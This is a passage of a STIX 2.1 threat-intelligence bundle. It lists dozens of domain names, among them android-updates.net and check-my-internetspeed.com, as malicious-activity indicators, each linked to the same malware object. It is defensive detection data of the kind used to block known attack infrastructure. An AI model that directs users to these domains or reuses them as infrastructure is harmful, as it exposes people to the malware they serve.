"indicator--7b362519-b529-4511-8ca8-fe73333555bd", "created": "2024-01-26T21:28:21.331285Z", "modified": "2024-01-26T21:28:21.331285Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='traveltogether.link']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.331285Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2068790a-1c04-40ce-8059-2a5aa12fd949", "created": "2024-01-26T21:28:21.331677Z", "modified": "2024-01-26T21:28:21.331677Z", "relationship_type": "indicates", "source_ref": "indicator--7b362519-b529-4511-8ca8-fe73333555bd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0e9c704d-d7b6-45ba-81d5-cc0992d59d51", "created": "2024-01-26T21:28:21.331774Z", "modified": "2024-01-26T21:28:21.331774Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='playwithusonline.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.331774Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c285247d-9efc-4159-bfa9-25914a30c383", "created": "2024-01-26T21:28:21.332168Z", "modified": "2024-01-26T21:28:21.332168Z", "relationship_type": "indicates", "source_ref": "indicator--0e9c704d-d7b6-45ba-81d5-cc0992d59d51", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--21ab85bd-862e-4517-a4fd-01ec04496cc8", "created": "2024-01-26T21:28:21.332265Z", "modified": "2024-01-26T21:28:21.332265Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirigir.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.332265Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5db968a8-df0d-4bd7-a5de-6c42c87e5e03", "created": "2024-01-26T21:28:21.332647Z", "modified": "2024-01-26T21:28:21.332647Z", "relationship_type": "indicates", "source_ref": "indicator--21ab85bd-862e-4517-a4fd-01ec04496cc8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--42fefbe8-04d9-47f2-b967-4c6d0e4b538f", "created": "2024-01-26T21:28:21.332742Z", "modified": "2024-01-26T21:28:21.332742Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='talabatt.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.332742Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--294c4a71-7fd5-47b9-bffa-feb8d7b97e99", "created": "2024-01-26T21:28:21.333127Z", "modified": "2024-01-26T21:28:21.333127Z", "relationship_type": "indicates", "source_ref": "indicator--42fefbe8-04d9-47f2-b967-4c6d0e4b538f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--97057709-4922-4348-a292-18b62ff52957", "created": "2024-01-26T21:28:21.333224Z", "modified": "2024-01-26T21:28:21.333224Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='upkeepno.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.333224Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1c0a1678-fb63-49a8-9037-fac7c91b2898", "created": "2024-01-26T21:28:21.333605Z", "modified": "2024-01-26T21:28:21.333605Z", "relationship_type": "indicates", "source_ref": "indicator--97057709-4922-4348-a292-18b62ff52957", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--188be7a3-ae02-435d-a7b6-c6ae59ed3810", "created": "2024-01-26T21:28:21.3337Z", "modified": "2024-01-26T21:28:21.3337Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='accountnotify.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.3337Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1a13f381-53bf-4c74-9287-8193fa126482", "created": "2024-01-26T21:28:21.334084Z", "modified": "2024-01-26T21:28:21.334084Z", "relationship_type": "indicates", "source_ref": "indicator--188be7a3-ae02-435d-a7b6-c6ae59ed3810", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--78b88cce-f10f-41d1-9de4-ef380888deed", "created": "2024-01-26T21:28:21.33418Z", "modified": "2024-01-26T21:28:21.33418Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='checkboxcart.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.33418Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--41fd6064-d19a-4b88-ab6e-91dee5a96228", "created": "2024-01-26T21:28:21.334577Z", "modified": "2024-01-26T21:28:21.334577Z", "relationship_type": "indicates", "source_ref": "indicator--78b88cce-f10f-41d1-9de4-ef380888deed", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4870770d-c952-428a-83b4-d0dec37ddf22", "created": "2024-01-26T21:28:21.334672Z", "modified": "2024-01-26T21:28:21.334672Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='flashobligation.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.334672Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--67b80342-663f-4b02-acde-558e5386b2a6", "created": "2024-01-26T21:28:21.335143Z", "modified": "2024-01-26T21:28:21.335143Z", "relationship_type": "indicates", "source_ref": "indicator--4870770d-c952-428a-83b4-d0dec37ddf22", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--edaba4fe-9d0e-405e-8658-b79ef3f0e78f", "created": "2024-01-26T21:28:21.335243Z", "modified": "2024-01-26T21:28:21.335243Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='travel-foryou.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.335243Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c1a7d431-5c52-4268-a135-6737ed152b8d", "created": "2024-01-26T21:28:21.335637Z", "modified": "2024-01-26T21:28:21.335637Z", "relationship_type": "indicates", "source_ref": "indicator--edaba4fe-9d0e-405e-8658-b79ef3f0e78f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3ef1ac33-76a2-4292-9510-00b941f50ea0", "created": "2024-01-26T21:28:21.335732Z", "modified": "2024-01-26T21:28:21.335732Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='xchangerates247.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.335732Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c6db2a78-643d-4270-860c-0ffbca9cae79", "created": "2024-01-26T21:28:21.33612Z", "modified": "2024-01-26T21:28:21.33612Z", "relationship_type": "indicates", "source_ref": "indicator--3ef1ac33-76a2-4292-9510-00b941f50ea0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f067df6f-ca85-4d84-aade-1997567dbf6a", "created": "2024-01-26T21:28:21.336216Z", "modified": "2024-01-26T21:28:21.336216Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cool-smartphone-apps.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.336216Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--76a8fb23-de83-4654-9ba6-186902de71d8", "created": "2024-01-26T21:28:21.336609Z", "modified": "2024-01-26T21:28:21.336609Z", "relationship_type": "indicates", "source_ref": "indicator--f067df6f-ca85-4d84-aade-1997567dbf6a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8550771c-0654-425d-bbfc-39053af82666", "created": "2024-01-26T21:28:21.336703Z", "modified": "2024-01-26T21:28:21.336703Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redstarnews.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.336703Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3a20d905-892b-499d-a85f-31ea7bd84386", "created": "2024-01-26T21:28:21.337089Z", "modified": "2024-01-26T21:28:21.337089Z", "relationship_type": "indicates", "source_ref": "indicator--8550771c-0654-425d-bbfc-39053af82666", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--14e10aa4-e9de-4102-9dce-68b17db6bd20", "created": "2024-01-26T21:28:21.337185Z", "modified": "2024-01-26T21:28:21.337185Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='magicalipone.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.337185Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--93064ee1-ae00-4e57-ab92-77fc4ce2ee01", "created": "2024-01-26T21:28:21.337572Z", "modified": "2024-01-26T21:28:21.337572Z", "relationship_type": "indicates", "source_ref": "indicator--14e10aa4-e9de-4102-9dce-68b17db6bd20", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3b802303-44dc-4e71-8ef6-353ade890ccd", "created": "2024-01-26T21:28:21.337672Z", "modified": "2024-01-26T21:28:21.337672Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='unsubscribed.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.337672Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1400938c-cb30-483c-91a7-339e957963c8", "created": "2024-01-26T21:28:21.338057Z", "modified": "2024-01-26T21:28:21.338057Z", "relationship_type": "indicates", "source_ref": "indicator--3b802303-44dc-4e71-8ef6-353ade890ccd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3e5f49ef-9745-4963-a67d-ed83b6b4bb12", "created": "2024-01-26T21:28:21.338153Z", "modified": "2024-01-26T21:28:21.338153Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='news-flash.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.338153Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d24951f3-7e9e-4201-9ba0-6b7e0993f001", "created": "2024-01-26T21:28:21.338535Z", "modified": "2024-01-26T21:28:21.338535Z", "relationship_type": "indicates", "source_ref": "indicator--3e5f49ef-9745-4963-a67d-ed83b6b4bb12", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6a620ab5-6efb-431b-8192-96b2fcad6d8c", "created": "2024-01-26T21:28:21.338631Z", "modified": "2024-01-26T21:28:21.338631Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='destinytool.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.338631Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--46a8bc20-50d8-4e59-80af-7563e673c0bb", "created": "2024-01-26T21:28:21.339017Z", "modified": "2024-01-26T21:28:21.339017Z", "relationship_type": "indicates", "source_ref": "indicator--6a620ab5-6efb-431b-8192-96b2fcad6d8c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--96423e56-10b1-4f91-9e28-5224d6ab662c", "created": "2024-01-26T21:28:21.339116Z", "modified": "2024-01-26T21:28:21.339116Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='traffic-pay.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.339116Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c93fb85b-eeba-4884-9a12-6bbf25984f97", "created": "2024-01-26T21:28:21.339579Z", "modified": "2024-01-26T21:28:21.339579Z", "relationship_type": "indicates", "source_ref": "indicator--96423e56-10b1-4f91-9e28-5224d6ab662c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--53029f1b-4b2a-4fa7-af2c-957ba3b1c33a", "created": "2024-01-26T21:28:21.339678Z", "modified": "2024-01-26T21:28:21.339678Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='lawlowvat.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.339678Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3ba4a9f3-340d-42f6-8f62-9639f674baef", "created": "2024-01-26T21:28:21.340066Z", "modified": "2024-01-26T21:28:21.340066Z", "relationship_type": "indicates", "source_ref": "indicator--53029f1b-4b2a-4fa7-af2c-957ba3b1c33a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--40bb28d1-e772-4166-992f-62bec848b24f", "created": "2024-01-26T21:28:21.340163Z", "modified": "2024-01-26T21:28:21.340163Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='devicer.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.340163Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--07febb12-7486-4ced-9d56-ef5969053baa", "created": "2024-01-26T21:28:21.340543Z", "modified": "2024-01-26T21:28:21.340543Z", "relationship_type": "indicates", "source_ref": "indicator--40bb28d1-e772-4166-992f-62bec848b24f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f8f0200b-4304-4ab9-a18c-3ce701441e78", "created": "2024-01-26T21:28:21.340638Z", "modified": "2024-01-26T21:28:21.340638Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='deportesinfo.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.340638Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9021fe46-4260-4bee-b6df-ce93e79932fa", "created": "2024-01-26T21:28:21.341021Z", "modified": "2024-01-26T21:28:21.341021Z", "relationship_type": "indicates", "source_ref": "indicator--f8f0200b-4304-4ab9-a18c-3ce701441e78", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--490ec9cd-2ec8-48b6-b2c7-26d678d77a4c", "created": "2024-01-26T21:28:21.341117Z", "modified": "2024-01-26T21:28:21.341117Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='islamic-news-today.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.341117Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--71f10cae-1e58-4353-b1c5-e32f0d0b01fb", "created": "2024-01-26T21:28:21.34151Z", "modified": "2024-01-26T21:28:21.34151Z", "relationship_type": "indicates", "source_ref": "indicator--490ec9cd-2ec8-48b6-b2c7-26d678d77a4c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--181f7f3e-ad02-47aa-9141-eb1ff28869eb", "created": "2024-01-26T21:28:21.341606Z", "modified": "2024-01-26T21:28:21.341606Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='remove-client.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.341606Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--30cf0b9c-c412-4e7f-a928-1913f3ad76ba", "created": "2024-01-26T21:28:21.341992Z", "modified": "2024-01-26T21:28:21.341992Z", "relationship_type": "indicates", "source_ref": "indicator--181f7f3e-ad02-47aa-9141-eb1ff28869eb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0fb39284-5a28-4415-a8c2-04100bad3ccb", "created": "2024-01-26T21:28:21.342088Z", "modified": "2024-01-26T21:28:21.342088Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mirrorgossip.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.342088Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5225a65f-b700-41b1-a984-726d006cdb75", "created": "2024-01-26T21:28:21.34248Z", "modified": "2024-01-26T21:28:21.34248Z", "relationship_type": "indicates", "source_ref": "indicator--0fb39284-5a28-4415-a8c2-04100bad3ccb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c9bc41b0-96b0-45eb-8ebf-ecedeb9f2961", "created": "2024-01-26T21:28:21.342576Z", "modified": "2024-01-26T21:28:21.342576Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='vie-en-islam.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.342576Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7dda0f6b-39a5-4961-abb3-5ea00540f97a", "created": "2024-01-26T21:28:21.342968Z", "modified": "2024-01-26T21:28:21.342968Z", "relationship_type": "indicates", "source_ref": "indicator--c9bc41b0-96b0-45eb-8ebf-ecedeb9f2961", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--256173b7-ef0e-4be9-9588-1c68d3de9da7", "created": "2024-01-26T21:28:21.343065Z", "modified": "2024-01-26T21:28:21.343065Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='check-my-internetspeed.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.343065Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--702e7bb6-1e79-4e2f-9846-6461e7ccb160", "created": "2024-01-26T21:28:21.343461Z", "modified": "2024-01-26T21:28:21.343461Z", "relationship_type": "indicates", "source_ref": "indicator--256173b7-ef0e-4be9-9588-1c68d3de9da7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d33485a0-49d2-46a9-80af-501a845042e6", "created": "2024-01-26T21:28:21.343556Z", "modified": "2024-01-26T21:28:21.343556Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='legsfriesears.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.343556Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8fa7e244-2317-409a-97cb-ab2d31b6b708", "created": "2024-01-26T21:28:21.34402Z", "modified": "2024-01-26T21:28:21.34402Z", "relationship_type": "indicates", "source_ref": "indicator--d33485a0-49d2-46a9-80af-501a845042e6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b55a904b-686c-4695-94d7-a7f3b65bcb2c", "created": "2024-01-26T21:28:21.34412Z", "modified": "2024-01-26T21:28:21.34412Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-config.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.34412Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--24383827-3afa-4fdf-aaaa-af89dabf0788", "created": "2024-01-26T21:28:21.344512Z", "modified": "2024-01-26T21:28:21.344512Z", "relationship_type": "indicates", "source_ref": "indicator--b55a904b-686c-4695-94d7-a7f3b65bcb2c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--148f1be9-e715-4b1f-836b-23f371e41e69", "created": "2024-01-26T21:28:21.344609Z", "modified": "2024-01-26T21:28:21.344609Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='android-updates.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.344609Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--08365e98-1fe1-4bad-a7ab-581949f939fd", "created": "2024-01-26T21:28:21.345Z", "modified": "2024-01-26T21:28:21.345Z", "relationship_type": "indicates", "source_ref": "indicator--148f1be9-e715-4b1f-836b-23f371e41e69", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dc9991f6-3b76-40ce-b138-a722b54d32c4", "created": "2024-01-26T21:28:21.345096Z", "modified": "2024-01-26T21:28:21.345096Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='iwantitallnow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.345096Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5f8f2cfd-d598-4d30-ae95-f248bf70b7eb", "created": "2024-01-26T21:28:21.345482Z", "modified": "2024-01-26T21:28:21.345482Z", "relationship_type": "indicates", "source_ref": "indicator--dc9991f6-3b76-40ce-b138-a722b54d32c4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b64255cc-9639-4b26-af77-f617fa6931a9", "created": "2024-01-26T21:28:21.345577Z", "modified": "2024-01-26T21:28:21.345577Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='aalaan.tv']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.345577Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8d9a3807-d14b-4e0c-b3e2-af44a80235c8", "created": "2024-01-26T21:28:21.345955Z", "modified": "2024-01-26T21:28:21.345955Z", "relationship_type": "indicates", "source_ref": "indicator--b64255cc-9639-4b26-af77-f617fa6931a9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2b2f0a53-49cb-41fa-b64a-0722964cc314", "created": "2024-01-26T21:28:21.34605Z", "modified": "2024-01-26T21:28:21.34605Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='quran-quote.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.34605Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9ab67264-e7c7-4e80-843f-92627a4e2454", "created": "2024-01-26T21:28:21.346434Z", "modified": "2024-01-26T21:28:21.346434Z", "relationship_type": "indicates", "source_ref": "indicator--2b2f0a53-49cb-41fa-b64a-0722964cc314", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9d0f24eb-69b4-44b3-8b70-d0720411a2e8", "created": "2024-01-26T21:28:21.346529Z", "modified": "2024-01-26T21:28:21.346529Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='monawa3ate.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.346529Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--13f02ec5-c78c-4803-aee8-df16f2a41864", "created": "2024-01-26T21:28:21.346911Z", "modified": "2024-01-26T21:28:21.346911Z", "relationship_type": "indicates", "source_ref": "indicator--9d0f24eb-69b4-44b3-8b70-d0720411a2e8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b84191a8-d4e1-406d-a699-8282e4129968", "created": "2024-01-26T21:28:21.347007Z", "modified": "2024-01-26T21:28:21.347007Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='arabworld.biz']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.347007Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f11b4486-34c2-45a9-897f-14a07d75e648", "created": "2024-01-26T21:28:21.347388Z", "modified": "2024-01-26T21:28:21.347388Z", "relationship_type": "indicates", "source_ref": "indicator--b84191a8-d4e1-406d-a699-8282e4129968", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d195d710-3040-478b-8991-affb32e55b34", "created": "2024-01-26T21:28:21.347484Z", "modified": "2024-01-26T21:28:21.347484Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='resolutionsbox.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.347484Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--415f49db-725e-4e3a-be95-6dc755c51a25", "created": "2024-01-26T21:28:21.347873Z", "modified": "2024-01-26T21:28:21.347873Z", "relationship_type": "indicates", "source_ref": "indicator--d195d710-3040-478b-8991-affb32e55b34", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--44541554-cbe3-45ad-bdce-46500f49dba9", "created": "2024-01-26T21:28:21.347969Z", "modified": "2024-01-26T21:28:21.347969Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='limitedfeature.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.347969Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--601829e5-6df5-4a36-9802-d970e0160aa6", "created": "2024-01-26T21:28:21.348435Z", "modified": "2024-01-26T21:28:21.348435Z", "relationship_type": "indicates", "source_ref": "indicator--44541554-cbe3-45ad-bdce-46500f49dba9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8d05671c-6c40-400b-a263-d7076101a545", "created": "2024-01-26T21:28:21.348535Z", "modified": "2024-01-26T21:28:21.348535Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='wraptext.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.348535Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--236ce60c-049e-4807-bb2d-d0f52d1adafd", "created": "2024-01-26T21:28:21.348919Z", "modified": "2024-01-26T21:28:21.348919Z", "relationship_type": "indicates", "source_ref": "indicator--8d05671c-6c40-400b-a263-d7076101a545", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f8746f1c-5b12-4f50-ae8c-fcf4b02a97da", "created": "2024-01-26T21:28:21.349013Z", "modified": "2024-01-26T21:28:21.349013Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='net-protector.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.349013Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--23b5910f-c400-47f8-b6fc-3e892b72e1aa", "created": "2024-01-26T21:28:21.349398Z", "modified": "2024-01-26T21:28:21.349398Z", "relationship_type": "indicates", "source_ref": "indicator--f8746f1c-5b12-4f50-ae8c-fcf4b02a97da", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ebf030b9-7f0a-4dc9-87ae-aa4b2dbb15de", "created": "2024-01-26T21:28:21.349494Z", "modified": "2024-01-26T21:28:21.349494Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='equal-gravity.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.349494Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c22ecada-d24e-418d-a118-f3bb8d496a59", "created": "2024-01-26T21:28:21.349878Z", "modified": "2024-01-26T21:28:21.349878Z", "relationship_type": "indicates", "source_ref": "indicator--ebf030b9-7f0a-4dc9-87ae-aa4b2dbb15de", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2d8aa632-8a2d-4a45-b538-a133e64b82de", "created": "2024-01-26T21:28:21.349972Z", "modified": "2024-01-26T21:28:21.349972Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pathtogo.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.349972Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f26c29cb-41d5-42f8-a960-e45845c98aea", "created": "2024-01-26T21:28:21.35035Z", "modified": "2024-01-26T21:28:21.35035Z", "relationship_type": "indicates", "source_ref": "indicator--2d8aa632-8a2d-4a45-b538-a133e64b82de", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2b82f198-2a14-4592-8125-1ea5d4af9304", "created": "2024-01-26T21:28:21.350447Z", "modified": "2024-01-26T21:28:21.350447Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='getoutofyourmind.com']", "pattern_type": "stix", 